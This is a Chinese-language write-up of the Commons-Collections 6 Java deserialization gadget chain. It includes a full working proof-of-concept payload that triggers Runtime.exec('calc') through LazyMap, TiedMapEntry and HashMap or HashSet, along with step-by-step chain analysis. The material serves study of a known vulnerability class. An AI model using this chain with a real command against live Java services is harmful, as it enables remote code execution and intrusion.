环境:jdk8u65;commons-collections3.2
影响版本:几乎覆盖了jdk1.8所有版本(在未启用jdk.serialFilter的情况下),我目前尝试了jdk8u401是可以执行的
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2</version>
</dependency>
payload
package commonscollections3;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws Exception {
Transformer fakeTransformerransformer = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, fakeTransformerransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "keykey");
//ysoserial中使用的是HashSet
// HashSet hashSet = new HashSet(1);
// hashSet.add(tiedMapEntry);
//P师傅使用的是HashMap
Map expMap = new HashMap();
expMap.put(tiedMapEntry, "valuevalue");
lazyMap.remove("keykey"); //如果不加这个就无法弹出计算器
//通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(fakeTransformerransformer, transformers);
// 序列化
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("obj.ser"));
out.writeObject(expMap);
out.close();
// 反序列化
ObjectInputStream in = new ObjectInputStream(new FileInputStream("obj.ser"));
in.readObject();
in.close();
}
}
cc6链和cc1LazyMap链类似,cc1LazyMap链是使用AnnotationInvocationHandler.invoke()方法来调用LazyMap.get()方法的,但在jdk8u71以后AnnotationInvocationHandler.readObject 的逻辑变化了,所以我们需要寻找新的在jdk高版本中可以利用的链。cc6使用的是TiedMapEntry。
还有一点不一样的是fakeTransformer,具体作用下文会讲到,这里先跟链子
Transformer fakeTransformerransformer = new ChainedTransformer(new Transformer[]{});
TiedMapEntry.getValue()
TiedMapEntry类的getValue方法调用了get,只需初始化map即可。
payload中将lazymap对象传入了TiedMapEntry构造函数,将map初始化成了LazyMap对象
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "keykey");
TiedMapEntry.hashCode()
该类的hashCode方法调用了this.getValue(),this指向是TiedMapEntry对象,接下来寻找谁能调用TiedMapEntry.hashCode()
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
这里使用HashSet和HashMap都可以,ysoserial中使用的是HashSet,P神使用的是HashMap。这里都简单介绍下
HashMap
HashMap.hash()
这里调用了key.hashCode(),这里的key就是put进去的key值
HashMap.readObject()
刚好HashMap.readObject()方法会调用到hash方法,至此整个cc6链结束
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
...
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
HashSet
使用HashSet的payload如下,new了一个HashSet对象,将tiedMapEntry传入add函数
HashSet hashSet = new HashSet(1);
hashSet.add(tiedMapEntry);
跟进HashSet构造函数,new了一个HashMap对象给到map
而这里的add仅仅是为了在序列化时写入tiedMapEntry对象,在之后的反序列化可以调用
hashSet.add(tiedMapEntry);
HashSet.readObject()
以下为HashSet.readObjet()部分代码,当payload被反序列化时:
s.readInt() 读取元素个数(size = 1),因为只添加了一个 TiedMapEntry。
for 循环执行一次(因为 size = 1)。
s.readObject() 读取序列化数据中的第一个元素。
- 这个元素就是你在 hashSet.add(tiedMapEntry) 时存进去的 TiedMapEntry。
- 序列化时保存了 TiedMapEntry,反序列化时自然还原为 TiedMapEntry。
e 被赋值为 TiedMapEntry,然后执行 map.put(e, PRESENT)。
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
....
s.defaultReadObject();
int size = s.readInt();
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
因为此时的map为Hashmap对象,所以之后调用HashMap.put–>HashMap.hash–>TiedMapEntry.hashCode…..,从而执行代码
HashMap.put()的意外触发
也许还有师傅记得前面的fakeTransformers,这里的fakeTransformers到底是干嘛的?
如果在构造 LazyMap 时直接使用 transformers,那么在本地运行代码时,任何对 LazyMap.get() 的调用(比如 lazyMap.put() 或其他会调用LazyMap.hash方法的函数)都会立即触发 transformers,导致计算器在序列化之前就弹出。
而fakeTransformers解决了我们这个问题
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(fakeTransformerransformer, transformers);
先传入一个假的数组,让代码不执行任何payload,然后再通过反射修改ChainedTransformer类里面的iTransformers值,改为我们的payload,这样就不会意外触发了
LazyMap.get()中key的包含问题
最后还有一个问题,那就是这里的key为什么必须删掉?
outerMap.remove("keykey");
来到LazyMap.get()方法,这里有一个if条件,如果此时map里面包含了传进来的这个key,那就会直接返回值,不会调用transform方法了,所以我们要避免这样的情况
gadget
HashMap
HashMap.readObject()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()
HashSet
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()
commons-collections4
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
在commons-collections4的版本中,我们只需要将decorate方法替换成lazyMap方法即可,效果都一样,只是函数名字不同
commons-collections3中的decorate方法
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
commons-collections4中的lazyMap方法
public static <V, K> LazyMap<K, V> lazyMap(Map<K, V> map, Transformer<? super K, ? extends V> factory) {
return new LazyMap(map, factory);
}